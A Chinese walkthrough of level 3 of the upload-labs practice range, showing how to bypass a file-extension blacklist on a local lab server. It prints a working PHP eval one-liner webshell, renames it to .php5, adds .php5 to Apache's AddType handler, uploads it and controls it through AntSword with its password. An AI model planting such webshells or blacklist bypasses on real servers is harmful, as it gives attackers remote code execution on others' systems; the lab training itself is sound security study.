upload-labs通关笔记-第3关 文件上传之黑名单绕过

目录

一、实验准备

1.构造脚本

2.打开靶场第三关

3.源码分析

4.修改配置使支持php后缀

[(1)切换php ts版本](#(1)切换php ts版本)

(2)定位httpd.conf文件

[(3)修改AddType application字段](#(3)修改AddType application字段)

(4)重启小皮

二、文件上传渗透

1.修改脚本后缀

2.上传脚本

3.右键获取文件地址

4.成功访问脚本

5.蚁剑连接脚本


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第三关文件黑名单渗透实战,通过绕过服务器的黑名单后缀法完成渗透。

一、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息,命名为 ljn_post_0628.php,脚本code内容如下所示。

复制代码
<?php @eval($_POST[ljn_0628]); ?> 

2.打开靶场第三关

firefox打开firefox靶场文件上传黑名单关卡。

复制代码
http://192.168.59.1/upload-labs/Pass-03/index.php

进入文件上传pass03关卡,需要手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

此关卡为服务端检测传上去的文件是否为图片,需通过源码来进行分析。点击查看源码,如下所示通过禁止'.asp','.aspx','.php','.jsp'四种后缀的文件上传防止上传恶意脚本。

可以看出程序中只是做了个简单的后缀名黑名单,识别上传文件的类型 查看是否是'.asp', '.aspx', '.php', '.jsp'中的一个,若果是其中的一个,则不允许上传,但是可以上传如.php3,.php5等后缀,仍然可以被利用,故而还是建议使用白名单过滤。综上所述,本段代码有黑名单过滤风险。

  • 仅禁止 .asp, .aspx, .php, .jsp,但可能遗漏其他可执行扩展名(如 .php5, .phtml)。
  • 建议改用白名单(如只允许 .jpg, .png)。

4.修改配置使支持php后缀

​​​​​通过代码审计,我们知道本关卡不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有需要配置支持.php5后缀代码执行(靶场应该是配置好的,如果是本地复现,需要配置)。

复制代码
    AddType application/x-httpd-php .php5

该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名。具体方法为配置httpd.conf文件,达到使用我们添加的文件后缀php5仍然以.php解析。

(1)切换php ts版本

首先需要将网站切换为php的ts版本,网址-管理php版本如下所示。

PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的,但注意这里的PHP版本并不是指PHP7.3.0、PHP7.4.0这种版本号,也不是适用于32位的PHP、适用于64位的PHP这种不同机型的版本,而是PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本导致的

(2)定位httpd.conf文件

首先进入httpd.conf文件,点击小皮-设置-配置文件,httpd.conf,然后点击Apache2.4.39进入。

httpd.conf文件的位置如下所示。

(3)修改AddType application字段

Ctrl +F查找AddType application关键字。

修改httpd.conf文件里的AddType application/x-httpd-php。

将php5加到php解析类型中,该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名,从而绕过pass3的黑名单防范。

复制代码
    AddType application/x-httpd-php .php .html .php5

(4)重启小皮

修改完配置文件记得要重启一下phpstudy服务环境。

所以由于服务端采用黑名单的过滤方式, 这里可以使用php5或phtml等的后缀上传,修改后缀名php5后缀名,也是可以当做php脚本解析的

二、文件上传渗透

1.修改脚本后缀

将php脚本的后缀改名为php5,为了具有区分度将文件名加上日期相关,如下所示,复制脚本ljn_post2_0628.php,并将其重命名为ljn_post2_0628.php5,通过文本编辑器打开图片后效果如下所示。

2.上传脚本

upload靶场点击上传,如下所示。

如下所示脚本上传成功。

3.右键获取文件地址

接下来在上传成功的图片处,右键选择获取图片地址,具体如下所示。

复制代码
http://192.168.59.1/upload-labs/upload/202306270324316671.php5

4.成功访问脚本

访问上传成功后的脚本,如下所示上传成功。

复制代码
一句话木马网址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
post参数:ljn_0628=phpinfo();

5.蚁剑连接脚本

复制代码
蚁剑恶意木马地址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
密码:ljn_0628

连接成功后,效果如下所示。

右键选择文件管理,如下所示渗透成功。

相关推荐
it技术分享just_free25 分钟前
软考教材重点内容 信息安全工程师 第24章 工控安全需求分析与安全保护工程
web安全·网络安全·信息安全·系统安全·软考
mooyuan天天1 小时前
upload-labs通关笔记-第2关 文件上传之MIME绕过
web安全·文件上传·文件上传漏洞·mime·upload-labs靶场
Bl_a_ck6 小时前
--openssl-legacy-provider is not allowed in NODE_OPTIONS 报错的处理方式
开发语言·前端·web安全·网络安全·前端框架·ssl
神经毒素19 小时前
WEB安全--RCE--webshell bypass2
安全·web安全
Johnstons20 小时前
AnaTraf:深度解析网络性能分析(NPM)
前端·网络·安全·web安全·npm·网络流量监控·网络流量分析
网络空间小黑20 小时前
常见WEB漏洞----暴力破解
计算机网络·安全·web安全·网络安全·系统安全·网络攻击模型·安全架构
Clockwiseee1 天前
文件上传总结
运维·服务器·学习·文件上传
第十六年盛夏.1 天前
【网络安全】SQL注入
sql·web安全·网络安全
网络空间小黑1 天前
WEB渗透测试----信息收集
服务器·前端·网络·安全·web安全·网络安全